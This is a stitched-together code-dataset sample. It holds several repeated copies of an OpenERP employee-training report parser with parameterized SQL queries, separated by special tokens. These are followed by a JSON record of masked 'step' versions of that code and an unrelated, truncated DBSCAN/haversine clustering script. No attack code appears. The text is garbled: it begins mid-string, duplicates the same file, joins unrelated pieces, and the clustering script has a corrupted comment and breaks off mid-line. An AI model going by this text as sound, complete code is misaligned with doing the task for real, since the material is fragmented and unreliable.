country,t.course_type as type,t.location as location,res.name as name from hr_employee_training t left join hr_employee_training_line line on (line.training_employee_id=t.id) left join hr_employee emp on (emp.id=line.employee_id) left join hr_job jop on (jop.id=emp.job_id) left join resource_resource res on (res.id=emp.resource_id) left join hr_training_course cou on(cou.id=t.course_id) left join res_country c on(t.country_id=c.id) where t.course_id = %s and t.type ='hr.approved.course' and t.training_place = %s and t.start_date >= %s and t.end_date <= %s " , (tuple([course_id]), side, date1, date2)) elif date1 and not date2: self.cr.execute( " select distinct emp.marital as marital, t.end_date as end,t.start_date as start,c.name as country,t.course_type as type,t.location as location,res.name as name from hr_employee_training t left join hr_employee_training_line line on (line.training_employee_id=t.id) left join hr_employee emp on (emp.id=line.employee_id) left join hr_job jop on (jop.id=emp.job_id) left join resource_resource res on (res.id=emp.resource_id) left join hr_training_course cou on(cou.id=t.course_id) left join res_country c on(t.country_id=c.id) where t.course_id = %s and t.type ='hr.approved.course' and t.training_place = %s and t.start_date >= %s" , (tuple([course_id]), side, date1)) elif date2 and not date1: self.cr.execute( " select distinct emp.marital as marital, t.end_date as end,t.start_date as start,c.name as country,t.course_type as type,t.location as location,res.name as name from hr_employee_training t left join hr_employee_training_line line on (line.training_employee_id=t.id) left join hr_employee emp on (emp.id=line.employee_id) left join hr_job jop on (jop.id=emp.job_id) left join resource_resource res on (res.id=emp.resource_id) left join hr_training_course cou on(cou.id=t.course_id) left join res_country c on(t.country_id=c.id) where t.course_id = %s and t.type ='hr.approved.course' and t.training_place = %s and t.end_date <= %s " , (tuple([course_id]), side, date2)) else: self.cr.execute( " select distinct emp.marital as marital, t.end_date as end,t.start_date as start,c.name as country,t.course_type as type,t.location as location,res.name as name from hr_employee_training t left join hr_employee_training_line line on (line.training_employee_id=t.id) left join hr_employee emp on (emp.id=line.employee_id) left join hr_job jop on (jop.id=emp.job_id) left join resource_resource res on (res.id=emp.resource_id) left join hr_training_course cou on(cou.id=t.course_id) left join res_country c on(t.country_id=c.id) where t.course_id = %s and t.type ='hr.approved.course' and t.training_place = %s " , (tuple([course_id]), side)) res = self.cr.dictfetchall() return res def _get_time(self): return self.year report_sxw.report_sxw('report.course.outside', 'hr.employee.training', 'addons/hr_ntc_custom/report/training.rml', parser=course_form, header= False) <|reserved_special_token_1|> import time import datetime import mx from openerp.report import report_sxw class course_form(report_sxw.rml_parse): def __init__(self, cr, uid, name, context): super(course_form, self).__init__(cr, uid, name, context) self.localcontext.update({'time': time, 'time1': self._get_time, 'course': self._get_course, 'line': self._get_data, 'user': self._get_user}) self.year = int(time.strftime('%Y')) def _get_user(self, data, header=False): if header: return self.pool.get('res.company').browse(self.cr, self.uid, data['form']['company_id'][0]).logo else: return self.pool.get('res.users').browse(self.cr, self.uid, self.uid).name def _get_course(self, data): training_category_obj = self.pool.get('hr.training.category') training_category_id = data['training_category_id'] training_category_id = (not training_category_id and training_category_obj.browse(self.cr, self.uid, []) or training_category_id) self.cr.execute( ' select distinct c.id as course_id , c.name as course_name from hr_training_course as c where c.training_category_id in %s' , (tuple(training_category_id),)) res = self.cr.dictfetchall() return res def _get_data(self, data, course_id): date1 = data['date_from'] date2 = data['date_to'] side = data['type'] == '3' and 'inside' or 'outside' self.year = date1 and mx.DateTime.Parser.DateTimeFromString(date1 ).year or self.year res = [] if date1 and date2: self.cr.execute( " select distinct emp.marital as marital, t.end_date as end,t.start_date as start,c.name as country,t.course_type as type,t.location as location,res.name as name from hr_employee_training t left join hr_employee_training_line line on (line.training_employee_id=t.id) left join hr_employee emp on (emp.id=line.employee_id) left join hr_job jop on (jop.id=emp.job_id) left join resource_resource res on (res.id=emp.resource_id) left join hr_training_course cou on(cou.id=t.course_id) left join res_country c on(t.country_id=c.id) where t.course_id = %s and t.type ='hr.approved.course' and t.training_place = %s and t.start_date >= %s and t.end_date <= %s " , (tuple([course_id]), side, date1, date2)) elif date1 and not date2: self.cr.execute( " select distinct emp.marital as marital, t.end_date as end,t.start_date as start,c.name as country,t.course_type as type,t.location as location,res.name as name from hr_employee_training t left join hr_employee_training_line line on (line.training_employee_id=t.id) left join hr_employee emp on (emp.id=line.employee_id) left join hr_job jop on (jop.id=emp.job_id) left join resource_resource res on (res.id=emp.resource_id) left join hr_training_course cou on(cou.id=t.course_id) left join res_country c on(t.country_id=c.id) where t.course_id = %s and t.type ='hr.approved.course' and t.training_place = %s and t.start_date >= %s" , (tuple([course_id]), side, date1)) elif date2 and not date1: self.cr.execute( " select distinct emp.marital as marital, t.end_date as end,t.start_date as start,c.name as country,t.course_type as type,t.location as location,res.name as name from hr_employee_training t left join hr_employee_training_line line on (line.training_employee_id=t.id) left join hr_employee emp on (emp.id=line.employee_id) left join hr_job jop on (jop.id=emp.job_id) left join resource_resource res on (res.id=emp.resource_id) left join hr_training_course cou on(cou.id=t.course_id) left join res_country c on(t.country_id=c.id) where t.course_id = %s and t.type ='hr.approved.course' and t.training_place = %s and t.end_date <= %s " , (tuple([course_id]), side, date2)) else: self.cr.execute( " select distinct emp.marital as marital, t.end_date as end,t.start_date as start,c.name as country,t.course_type as type,t.location as location,res.name as name from hr_employee_training t left join hr_employee_training_line line on (line.training_employee_id=t.id) left join hr_employee emp on (emp.id=line.employee_id) left join hr_job jop on (jop.id=emp.job_id) left join resource_resource res on (res.id=emp.resource_id) left join hr_training_course cou on(cou.id=t.course_id) left join res_country c on(t.country_id=c.id) where t.course_id = %s and t.type ='hr.approved.course' and t.training_place = %s " , (tuple([course_id]), side)) res = self.cr.dictfetchall() return res def _get_time(self): return self.year report_sxw.report_sxw('report.course.outside', 'hr.employee.training', 'addons/hr_ntc_custom/report/training.rml', parser=course_form, header= False) <|reserved_special_token_1|> import time import datetime import mx from openerp.report import report_sxw class course_form(report_sxw.rml_parse): def __init__(self, cr, uid, name, context): super(course_form, self).__init__(cr, uid, name, context) self.localcontext.update({ 'time': time, 'time1': self._get_time, 'course':self._get_course, 'line':self._get_data, 'user':self._get_user, }) self.year = int(time.strftime('%Y')) def _get_user(self,data, header=False): if header: return self.pool.get('res.company').browse(self.cr, self.uid, data['form']['company_id'][0]).logo else: return self.pool.get('res.users').browse(self.cr, self.uid, self.uid).name def _get_course(self,data): training_category_obj = self.pool.get('hr.training.category') training_category_id = data['training_category_id'] training_category_id = not training_category_id and training_category_obj.browse(self.cr,self.uid,[]) or training_category_id self.cr.execute(" select distinct c.id as course_id , c.name as course_name "\ "from hr_training_course as c "\ "where c.training_category_id in %s",(tuple(training_category_id),)) res = self.cr.dictfetchall() return res def _get_data(self, data,course_id): date1 = data['date_from'] date2 = data['date_to'] side = data['type'] == '3' and 'inside' or 'outside' self.year = date1 and mx.DateTime.Parser.DateTimeFromString(date1).year or self.year res=[] if date1 and date2: self.cr.execute(" select distinct emp.marital as marital, "\ "t.end_date as end,"\ "t.start_date as start,"\ "c.name as country,"\ "t.course_type as type,"\ "t.location as location,"\ "res.name as name " \ "from hr_employee_training t "\ "left join hr_employee_training_line line on (line.training_employee_id=t.id) "\ "left join hr_employee emp on (emp.id=line.employee_id) "\ "left join hr_job jop on (jop.id=emp.job_id) "\ "left join resource_resource res on (res.id=emp.resource_id) "\ "left join hr_training_course cou on(cou.id=t.course_id) "\ "left join res_country c on(t.country_id=c.id) "\ "where t.course_id = %s and "\ "t.type ='hr.approved.course' and t.training_place = %s and "\ "t.start_date >= %s and t.end_date <= %s ",(tuple([course_id]),side,date1,date2)) elif date1 and not date2: self.cr.execute(" select distinct emp.marital as marital, "\ "t.end_date as end,"\ "t.start_date as start,"\ "c.name as country,"\ "t.course_type as type,"\ "t.location as location,"\ "res.name as name " \ "from hr_employee_training t "\ "left join hr_employee_training_line line on (line.training_employee_id=t.id) "\ "left join hr_employee emp on (emp.id=line.employee_id) "\ "left join hr_job jop on (jop.id=emp.job_id) "\ "left join resource_resource res on (res.id=emp.resource_id) "\ "left join hr_training_course cou on(cou.id=t.course_id) "\ "left join res_country c on(t.country_id=c.id) "\ "where t.course_id = %s and "\ "t.type ='hr.approved.course' and t.training_place = %s and "\ "t.start_date >= %s",(tuple([course_id]),side,date1)) elif date2 and not date1: self.cr.execute(" select distinct emp.marital as marital, "\ "t.end_date as end,"\ "t.start_date as start,"\ "c.name as country,"\ "t.course_type as type,"\ "t.location as location,"\ "res.name as name " \ "from hr_employee_training t "\ "left join hr_employee_training_line line on (line.training_employee_id=t.id) "\ "left join hr_employee emp on (emp.id=line.employee_id) "\ "left join hr_job jop on (jop.id=emp.job_id) "\ "left join resource_resource res on (res.id=emp.resource_id) "\ "left join hr_training_course cou on(cou.id=t.course_id) "\ "left join res_country c on(t.country_id=c.id) "\ "where t.course_id = %s and "\ "t.type ='hr.approved.course' and t.training_place = %s and "\ "t.end_date <= %s ",(tuple([course_id]),side,date2)) else: self.cr.execute(" select distinct emp.marital as marital, "\ "t.end_date as end,"\ "t.start_date as start,"\ "c.name as country,"\ "t.course_type as type,"\ "t.location as location,"\ "res.name as name " \ "from hr_employee_training t "\ "left join hr_employee_training_line line on (line.training_employee_id=t.id) "\ "left join hr_employee emp on (emp.id=line.employee_id) "\ "left join hr_job jop on (jop.id=emp.job_id) "\ "left join resource_resource res on (res.id=emp.resource_id) "\ "left join hr_training_course cou on(cou.id=t.course_id) "\ "left join res_country c on(t.country_id=c.id) "\ "where t.course_id = %s and "\ "t.type ='hr.approved.course' and t.training_place = %s ",(tuple([course_id]),side)) res=self.cr.dictfetchall() return res def _get_time(self): return self.year report_sxw.report_sxw('report.course.outside', 'hr.employee.training', 'addons/hr_ntc_custom/report/training.rml' ,parser=course_form ,header=False) # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
flexible
{ "blob_id": "c4fcca61e560046c77046079fb305be8c883653b", "index": 2077, "step-1": "<mask token>\n\n\nclass course_form(report_sxw.rml_parse):\n <mask token>\n <mask token>\n\n def _get_course(self, data):\n training_category_obj = self.pool.get('hr.training.category')\n training_category_id = data['training_category_id']\n training_category_id = (not training_category_id and\n training_category_obj.browse(self.cr, self.uid, []) or\n training_category_id)\n self.cr.execute(\n ' select distinct c.id as course_id , c.name as course_name from hr_training_course as c where c.training_category_id in %s'\n , (tuple(training_category_id),))\n res = self.cr.dictfetchall()\n return res\n\n def _get_data(self, data, course_id):\n date1 = data['date_from']\n date2 = data['date_to']\n side = data['type'] == '3' and 'inside' or 'outside'\n self.year = date1 and mx.DateTime.Parser.DateTimeFromString(date1\n ).year or self.year\n res = []\n if date1 and date2:\n self.cr.execute(\n \" select distinct emp.marital as marital, t.end_date as end,t.start_date as start,c.name as country,t.course_type as type,t.location as location,res.name as name from hr_employee_training t left join hr_employee_training_line line on (line.training_employee_id=t.id) left join hr_employee emp on (emp.id=line.employee_id) left join hr_job jop on (jop.id=emp.job_id) left join resource_resource res on (res.id=emp.resource_id) left join hr_training_course cou on(cou.id=t.course_id) left join res_country c on(t.country_id=c.id) where t.course_id = %s and t.type ='hr.approved.course' and t.training_place = %s and t.start_date >= %s and t.end_date <= %s \"\n , (tuple([course_id]), side, date1, date2))\n elif date1 and not date2:\n self.cr.execute(\n \" select distinct emp.marital as marital, t.end_date as end,t.start_date as start,c.name as country,t.course_type as type,t.location as location,res.name as name from hr_employee_training t left join hr_employee_training_line line on (line.training_employee_id=t.id) left join hr_employee emp on (emp.id=line.employee_id) left join hr_job jop on (jop.id=emp.job_id) left join resource_resource res on (res.id=emp.resource_id) left join hr_training_course cou on(cou.id=t.course_id) left join res_country c on(t.country_id=c.id) where t.course_id = %s and t.type ='hr.approved.course' and t.training_place = %s and t.start_date >= %s\"\n , (tuple([course_id]), side, date1))\n elif date2 and not date1:\n self.cr.execute(\n \" select distinct emp.marital as marital, t.end_date as end,t.start_date as start,c.name as country,t.course_type as type,t.location as location,res.name as name from hr_employee_training t left join hr_employee_training_line line on (line.training_employee_id=t.id) left join hr_employee emp on (emp.id=line.employee_id) left join hr_job jop on (jop.id=emp.job_id) left join resource_resource res on (res.id=emp.resource_id) left join hr_training_course cou on(cou.id=t.course_id) left join res_country c on(t.country_id=c.id) where t.course_id = %s and t.type ='hr.approved.course' and t.training_place = %s and t.end_date <= %s \"\n , (tuple([course_id]), side, date2))\n else:\n self.cr.execute(\n \" select distinct emp.marital as marital, t.end_date as end,t.start_date as start,c.name as country,t.course_type as type,t.location as location,res.name as name from hr_employee_training t left join hr_employee_training_line line on (line.training_employee_id=t.id) left join hr_employee emp on (emp.id=line.employee_id) left join hr_job jop on (jop.id=emp.job_id) left join resource_resource res on (res.id=emp.resource_id) left join hr_training_course cou on(cou.id=t.course_id) left join res_country c on(t.country_id=c.id) where t.course_id = %s and t.type ='hr.approved.course' and t.training_place = %s \"\n , (tuple([course_id]), side))\n res = self.cr.dictfetchall()\n return res\n\n def _get_time(self):\n return self.year\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass course_form(report_sxw.rml_parse):\n\n def __init__(self, cr, uid, name, context):\n super(course_form, self).__init__(cr, uid, name, context)\n self.localcontext.update({'time': time, 'time1': self._get_time,\n 'course': self._get_course, 'line': self._get_data, 'user':\n self._get_user})\n self.year = int(time.strftime('%Y'))\n\n def _get_user(self, data, header=False):\n if header:\n return self.pool.get('res.company').browse(self.cr, self.uid,\n data['form']['company_id'][0]).logo\n else:\n return self.pool.get('res.users').browse(self.cr, self.uid,\n self.uid).name\n\n def _get_course(self, data):\n training_category_obj = self.pool.get('hr.training.category')\n training_category_id = data['training_category_id']\n training_category_id = (not training_category_id and\n training_category_obj.browse(self.cr, self.uid, []) or\n training_category_id)\n self.cr.execute(\n ' select distinct c.id as course_id , c.name as course_name from hr_training_course as c where c.training_category_id in %s'\n , (tuple(training_category_id),))\n res = self.cr.dictfetchall()\n return res\n\n def _get_data(self, data, course_id):\n date1 = data['date_from']\n date2 = data['date_to']\n side = data['type'] == '3' and 'inside' or 'outside'\n self.year = date1 and mx.DateTime.Parser.DateTimeFromString(date1\n ).year or self.year\n res = []\n if date1 and date2:\n self.cr.execute(\n \" select distinct emp.marital as marital, t.end_date as end,t.start_date as start,c.name as country,t.course_type as type,t.location as location,res.name as name from hr_employee_training t left join hr_employee_training_line line on (line.training_employee_id=t.id) left join hr_employee emp on (emp.id=line.employee_id) left join hr_job jop on (jop.id=emp.job_id) left join resource_resource res on (res.id=emp.resource_id) left join hr_training_course cou on(cou.id=t.course_id) left join res_country c on(t.country_id=c.id) where t.course_id = %s and t.type ='hr.approved.course' and t.training_place = %s and t.start_date >= %s and t.end_date <= %s \"\n , (tuple([course_id]), side, date1, date2))\n elif date1 and not date2:\n self.cr.execute(\n \" select distinct emp.marital as marital, t.end_date as end,t.start_date as start,c.name as country,t.course_type as type,t.location as location,res.name as name from hr_employee_training t left join hr_employee_training_line line on (line.training_employee_id=t.id) left join hr_employee emp on (emp.id=line.employee_id) left join hr_job jop on (jop.id=emp.job_id) left join resource_resource res on (res.id=emp.resource_id) left join hr_training_course cou on(cou.id=t.course_id) left join res_country c on(t.country_id=c.id) where t.course_id = %s and t.type ='hr.approved.course' and t.training_place = %s and t.start_date >= %s\"\n , (tuple([course_id]), side, date1))\n elif date2 and not date1:\n self.cr.execute(\n \" select distinct emp.marital as marital, t.end_date as end,t.start_date as start,c.name as country,t.course_type as type,t.location as location,res.name as name from hr_employee_training t left join hr_employee_training_line line on (line.training_employee_id=t.id) left join hr_employee emp on (emp.id=line.employee_id) left join hr_job jop on (jop.id=emp.job_id) left join resource_resource res on (res.id=emp.resource_id) left join hr_training_course cou on(cou.id=t.course_id) left join res_country c on(t.country_id=c.id) where t.course_id = %s and t.type ='hr.approved.course' and t.training_place = %s and t.end_date <= %s \"\n , (tuple([course_id]), side, date2))\n else:\n self.cr.execute(\n \" select distinct emp.marital as marital, t.end_date as end,t.start_date as start,c.name as country,t.course_type as type,t.location as location,res.name as name from hr_employee_training t left join hr_employee_training_line line on (line.training_employee_id=t.id) left join hr_employee emp on (emp.id=line.employee_id) left join hr_job jop on (jop.id=emp.job_id) left join resource_resource res on (res.id=emp.resource_id) left join hr_training_course cou on(cou.id=t.course_id) left join res_country c on(t.country_id=c.id) where t.course_id = %s and t.type ='hr.approved.course' and t.training_place = %s \"\n , (tuple([course_id]), side))\n res = self.cr.dictfetchall()\n return res\n\n def _get_time(self):\n return self.year\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass course_form(report_sxw.rml_parse):\n\n def __init__(self, cr, uid, name, context):\n super(course_form, self).__init__(cr, uid, name, context)\n self.localcontext.update({'time': time, 'time1': self._get_time,\n 'course': self._get_course, 'line': self._get_data, 'user':\n self._get_user})\n self.year = int(time.strftime('%Y'))\n\n def _get_user(self, data, header=False):\n if header:\n return self.pool.get('res.company').browse(self.cr, self.uid,\n data['form']['company_id'][0]).logo\n else:\n return self.pool.get('res.users').browse(self.cr, self.uid,\n self.uid).name\n\n def _get_course(self, data):\n training_category_obj = self.pool.get('hr.training.category')\n training_category_id = data['training_category_id']\n training_category_id = (not training_category_id and\n training_category_obj.browse(self.cr, self.uid, []) or\n training_category_id)\n self.cr.execute(\n ' select distinct c.id as course_id , c.name as course_name from hr_training_course as c where c.training_category_id in %s'\n , (tuple(training_category_id),))\n res = self.cr.dictfetchall()\n return res\n\n def _get_data(self, data, course_id):\n date1 = data['date_from']\n date2 = data['date_to']\n side = data['type'] == '3' and 'inside' or 'outside'\n self.year = date1 and mx.DateTime.Parser.DateTimeFromString(date1\n ).year or self.year\n res = []\n if date1 and date2:\n self.cr.execute(\n \" select distinct emp.marital as marital, t.end_date as end,t.start_date as start,c.name as country,t.course_type as type,t.location as location,res.name as name from hr_employee_training t left join hr_employee_training_line line on (line.training_employee_id=t.id) left join hr_employee emp on (emp.id=line.employee_id) left join hr_job jop on (jop.id=emp.job_id) left join resource_resource res on (res.id=emp.resource_id) left join hr_training_course cou on(cou.id=t.course_id) left join res_country c on(t.country_id=c.id) where t.course_id = %s and t.type ='hr.approved.course' and t.training_place = %s and t.start_date >= %s and t.end_date <= %s \"\n , (tuple([course_id]), side, date1, date2))\n elif date1 and not date2:\n self.cr.execute(\n \" select distinct emp.marital as marital, t.end_date as end,t.start_date as start,c.name as country,t.course_type as type,t.location as location,res.name as name from hr_employee_training t left join hr_employee_training_line line on (line.training_employee_id=t.id) left join hr_employee emp on (emp.id=line.employee_id) left join hr_job jop on (jop.id=emp.job_id) left join resource_resource res on (res.id=emp.resource_id) left join hr_training_course cou on(cou.id=t.course_id) left join res_country c on(t.country_id=c.id) where t.course_id = %s and t.type ='hr.approved.course' and t.training_place = %s and t.start_date >= %s\"\n , (tuple([course_id]), side, date1))\n elif date2 and not date1:\n self.cr.execute(\n \" select distinct emp.marital as marital, t.end_date as end,t.start_date as start,c.name as country,t.course_type as type,t.location as location,res.name as name from hr_employee_training t left join hr_employee_training_line line on (line.training_employee_id=t.id) left join hr_employee emp on (emp.id=line.employee_id) left join hr_job jop on (jop.id=emp.job_id) left join resource_resource res on (res.id=emp.resource_id) left join hr_training_course cou on(cou.id=t.course_id) left join res_country c on(t.country_id=c.id) where t.course_id = %s and t.type ='hr.approved.course' and t.training_place = %s and t.end_date <= %s \"\n , (tuple([course_id]), side, date2))\n else:\n self.cr.execute(\n \" select distinct emp.marital as marital, t.end_date as end,t.start_date as start,c.name as country,t.course_type as type,t.location as location,res.name as name from hr_employee_training t left join hr_employee_training_line line on (line.training_employee_id=t.id) left join hr_employee emp on (emp.id=line.employee_id) left join hr_job jop on (jop.id=emp.job_id) left join resource_resource res on (res.id=emp.resource_id) left join hr_training_course cou on(cou.id=t.course_id) left join res_country c on(t.country_id=c.id) where t.course_id = %s and t.type ='hr.approved.course' and t.training_place = %s \"\n , (tuple([course_id]), side))\n res = self.cr.dictfetchall()\n return res\n\n def _get_time(self):\n return self.year\n\n\nreport_sxw.report_sxw('report.course.outside', 'hr.employee.training',\n 'addons/hr_ntc_custom/report/training.rml', parser=course_form, header=\n False)\n", "step-4": "import time\nimport datetime\nimport mx\nfrom openerp.report import report_sxw\n\n\nclass course_form(report_sxw.rml_parse):\n\n def __init__(self, cr, uid, name, context):\n super(course_form, self).__init__(cr, uid, name, context)\n self.localcontext.update({'time': time, 'time1': self._get_time,\n 'course': self._get_course, 'line': self._get_data, 'user':\n self._get_user})\n self.year = int(time.strftime('%Y'))\n\n def _get_user(self, data, header=False):\n if header:\n return self.pool.get('res.company').browse(self.cr, self.uid,\n data['form']['company_id'][0]).logo\n else:\n return self.pool.get('res.users').browse(self.cr, self.uid,\n self.uid).name\n\n def _get_course(self, data):\n training_category_obj = self.pool.get('hr.training.category')\n training_category_id = data['training_category_id']\n training_category_id = (not training_category_id and\n training_category_obj.browse(self.cr, self.uid, []) or\n training_category_id)\n self.cr.execute(\n ' select distinct c.id as course_id , c.name as course_name from hr_training_course as c where c.training_category_id in %s'\n , (tuple(training_category_id),))\n res = self.cr.dictfetchall()\n return res\n\n def _get_data(self, data, course_id):\n date1 = data['date_from']\n date2 = data['date_to']\n side = data['type'] == '3' and 'inside' or 'outside'\n self.year = date1 and mx.DateTime.Parser.DateTimeFromString(date1\n ).year or self.year\n res = []\n if date1 and date2:\n self.cr.execute(\n \" select distinct emp.marital as marital, t.end_date as end,t.start_date as start,c.name as country,t.course_type as type,t.location as location,res.name as name from hr_employee_training t left join hr_employee_training_line line on (line.training_employee_id=t.id) left join hr_employee emp on (emp.id=line.employee_id) left join hr_job jop on (jop.id=emp.job_id) left join resource_resource res on (res.id=emp.resource_id) left join hr_training_course cou on(cou.id=t.course_id) left join res_country c on(t.country_id=c.id) where t.course_id = %s and t.type ='hr.approved.course' and t.training_place = %s and t.start_date >= %s and t.end_date <= %s \"\n , (tuple([course_id]), side, date1, date2))\n elif date1 and not date2:\n self.cr.execute(\n \" select distinct emp.marital as marital, t.end_date as end,t.start_date as start,c.name as country,t.course_type as type,t.location as location,res.name as name from hr_employee_training t left join hr_employee_training_line line on (line.training_employee_id=t.id) left join hr_employee emp on (emp.id=line.employee_id) left join hr_job jop on (jop.id=emp.job_id) left join resource_resource res on (res.id=emp.resource_id) left join hr_training_course cou on(cou.id=t.course_id) left join res_country c on(t.country_id=c.id) where t.course_id = %s and t.type ='hr.approved.course' and t.training_place = %s and t.start_date >= %s\"\n , (tuple([course_id]), side, date1))\n elif date2 and not date1:\n self.cr.execute(\n \" select distinct emp.marital as marital, t.end_date as end,t.start_date as start,c.name as country,t.course_type as type,t.location as location,res.name as name from hr_employee_training t left join hr_employee_training_line line on (line.training_employee_id=t.id) left join hr_employee emp on (emp.id=line.employee_id) left join hr_job jop on (jop.id=emp.job_id) left join resource_resource res on (res.id=emp.resource_id) left join hr_training_course cou on(cou.id=t.course_id) left join res_country c on(t.country_id=c.id) where t.course_id = %s and t.type ='hr.approved.course' and t.training_place = %s and t.end_date <= %s \"\n , (tuple([course_id]), side, date2))\n else:\n self.cr.execute(\n \" select distinct emp.marital as marital, t.end_date as end,t.start_date as start,c.name as country,t.course_type as type,t.location as location,res.name as name from hr_employee_training t left join hr_employee_training_line line on (line.training_employee_id=t.id) left join hr_employee emp on (emp.id=line.employee_id) left join hr_job jop on (jop.id=emp.job_id) left join resource_resource res on (res.id=emp.resource_id) left join hr_training_course cou on(cou.id=t.course_id) left join res_country c on(t.country_id=c.id) where t.course_id = %s and t.type ='hr.approved.course' and t.training_place = %s \"\n , (tuple([course_id]), side))\n res = self.cr.dictfetchall()\n return res\n\n def _get_time(self):\n return self.year\n\n\nreport_sxw.report_sxw('report.course.outside', 'hr.employee.training',\n 'addons/hr_ntc_custom/report/training.rml', parser=course_form, header=\n False)\n", "step-5": "import time\nimport datetime\nimport mx\nfrom openerp.report import report_sxw\n\n\nclass course_form(report_sxw.rml_parse):\n def __init__(self, cr, uid, name, context):\n super(course_form, self).__init__(cr, uid, name, context)\n self.localcontext.update({\n 'time': time,\n 'time1': self._get_time,\n 'course':self._get_course,\n 'line':self._get_data,\n 'user':self._get_user,\n })\n self.year = int(time.strftime('%Y'))\n\n def _get_user(self,data, header=False):\n if header:\n return self.pool.get('res.company').browse(self.cr, self.uid, data['form']['company_id'][0]).logo\n else:\n return self.pool.get('res.users').browse(self.cr, self.uid, self.uid).name\n\n def _get_course(self,data):\n training_category_obj = self.pool.get('hr.training.category')\n training_category_id = data['training_category_id']\n training_category_id = not training_category_id and training_category_obj.browse(self.cr,self.uid,[]) or training_category_id\n self.cr.execute(\" select distinct c.id as course_id , c.name as course_name \"\\\n \"from hr_training_course as c \"\\\n \"where c.training_category_id in %s\",(tuple(training_category_id),))\n res = self.cr.dictfetchall()\n return res\n\n def _get_data(self, data,course_id):\n date1 = data['date_from']\n date2 = data['date_to']\n side = data['type'] == '3' and 'inside' or 'outside'\n self.year = date1 and mx.DateTime.Parser.DateTimeFromString(date1).year or self.year\n res=[]\n if date1 and date2:\n self.cr.execute(\" select distinct emp.marital as marital, \"\\\n \"t.end_date as end,\"\\\n \"t.start_date as start,\"\\\n \"c.name as country,\"\\\n \"t.course_type as type,\"\\\n \"t.location as location,\"\\\n \"res.name as name \" \\\n \"from hr_employee_training t \"\\\n \"left join hr_employee_training_line line on (line.training_employee_id=t.id) \"\\\n \"left join hr_employee emp on (emp.id=line.employee_id) \"\\\n \"left join hr_job jop on (jop.id=emp.job_id) \"\\\n \"left join resource_resource res on (res.id=emp.resource_id) \"\\\n \"left join hr_training_course cou on(cou.id=t.course_id) \"\\\n \"left join res_country c on(t.country_id=c.id) \"\\\n \"where t.course_id = %s and \"\\\n \"t.type ='hr.approved.course' and t.training_place = %s and \"\\\n \"t.start_date >= %s and t.end_date <= %s \",(tuple([course_id]),side,date1,date2))\n elif date1 and not date2:\n self.cr.execute(\" select distinct emp.marital as marital, \"\\\n \"t.end_date as end,\"\\\n \"t.start_date as start,\"\\\n \"c.name as country,\"\\\n \"t.course_type as type,\"\\\n \"t.location as location,\"\\\n \"res.name as name \" \\\n \"from hr_employee_training t \"\\\n \"left join hr_employee_training_line line on (line.training_employee_id=t.id) \"\\\n \"left join hr_employee emp on (emp.id=line.employee_id) \"\\\n \"left join hr_job jop on (jop.id=emp.job_id) \"\\\n \"left join resource_resource res on (res.id=emp.resource_id) \"\\\n \"left join hr_training_course cou on(cou.id=t.course_id) \"\\\n \"left join res_country c on(t.country_id=c.id) \"\\\n \"where t.course_id = %s and \"\\\n \"t.type ='hr.approved.course' and t.training_place = %s and \"\\\n \"t.start_date >= %s\",(tuple([course_id]),side,date1))\n elif date2 and not date1:\n self.cr.execute(\" select distinct emp.marital as marital, \"\\\n \"t.end_date as end,\"\\\n \"t.start_date as start,\"\\\n \"c.name as country,\"\\\n \"t.course_type as type,\"\\\n \"t.location as location,\"\\\n \"res.name as name \" \\\n \"from hr_employee_training t \"\\\n \"left join hr_employee_training_line line on (line.training_employee_id=t.id) \"\\\n \"left join hr_employee emp on (emp.id=line.employee_id) \"\\\n \"left join hr_job jop on (jop.id=emp.job_id) \"\\\n \"left join resource_resource res on (res.id=emp.resource_id) \"\\\n \"left join hr_training_course cou on(cou.id=t.course_id) \"\\\n \"left join res_country c on(t.country_id=c.id) \"\\\n \"where t.course_id = %s and \"\\\n \"t.type ='hr.approved.course' and t.training_place = %s and \"\\\n \"t.end_date <= %s \",(tuple([course_id]),side,date2))\n else:\n self.cr.execute(\" select distinct emp.marital as marital, \"\\\n \"t.end_date as end,\"\\\n \"t.start_date as start,\"\\\n \"c.name as country,\"\\\n \"t.course_type as type,\"\\\n \"t.location as location,\"\\\n \"res.name as name \" \\\n \"from hr_employee_training t \"\\\n \"left join hr_employee_training_line line on (line.training_employee_id=t.id) \"\\\n \"left join hr_employee emp on (emp.id=line.employee_id) \"\\\n \"left join hr_job jop on (jop.id=emp.job_id) \"\\\n \"left join resource_resource res on (res.id=emp.resource_id) \"\\\n \"left join hr_training_course cou on(cou.id=t.course_id) \"\\\n \"left join res_country c on(t.country_id=c.id) \"\\\n \"where t.course_id = %s and \"\\\n \"t.type ='hr.approved.course' and t.training_place = %s \",(tuple([course_id]),side))\n\n \n res=self.cr.dictfetchall()\n\n return res\n\n \n def _get_time(self):\n return self.year\n\nreport_sxw.report_sxw('report.course.outside', 'hr.employee.training', 'addons/hr_ntc_custom/report/training.rml' ,parser=course_form ,header=False)\n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:\n", "step-ids": [ 4, 6, 7, 8, 9 ] }
[ 4, 6, 7, 8, 9 ]
# -*- coding: utf-8 -*- """ =================================== Demo of DBSCAN clustering algorithm =================================== Finds core samples of high density and expands clusters from them. """ import scipy as sp import numpy as np from scipy import spatial print(__doc__) from sklearn.cluster import DBSCAN from sklearn import metrics from sklearn.datasets.samples_generator import make_blobs from sklearn.preprocessing import StandardScaler ############################################################################## # Calcule Distance Haversine Methods EARTHRADIUS = 6371.0 def getDistanceByHaversine(loc1, loc2): '''Haversine formula - give coordinates as a 2D numpy array of (lat_denter link description hereecimal,lon_decimal) pairs''' # # "unpack" our numpy array, this extracts column wise arrays lat1 = loc1[1] lon1 = loc1[0] lat2 = loc2[1] lon2 = loc2[0] # # convert to radians ##### Completely identical lon1 = lon1 * sp.pi / 180.0 lon2 = lon2 * sp.pi / 180.0 lat1 = lat1 * sp.pi / 180.0 lat2 = lat2 * sp.pi / 180.0 # # haversine formula #### Same, but atan2 named arctan2 in numpy dlon = lon2 - lon1 dlat = lat2 - lat1 a = (np.sin(dlat/2))**2 + np.cos(lat1) * np.cos(lat2) * (np.sin(dlon/2.0))**2 c = 2.0 * np.arctan2(np.sqrt(a), np.sqrt(1.0-a)) km = EARTHRADIUS * c return km ############################################################################## # Create a Matrix with longitude and latitude import csv import re with open('users_bcn.csv', 'rb') as csvfile: data = csv.reader(csvfile, delimiter=',', quotechar='|') row_count = sum(1 for row in data) gps_matrix = [[0 for i in range(row_count)] for j 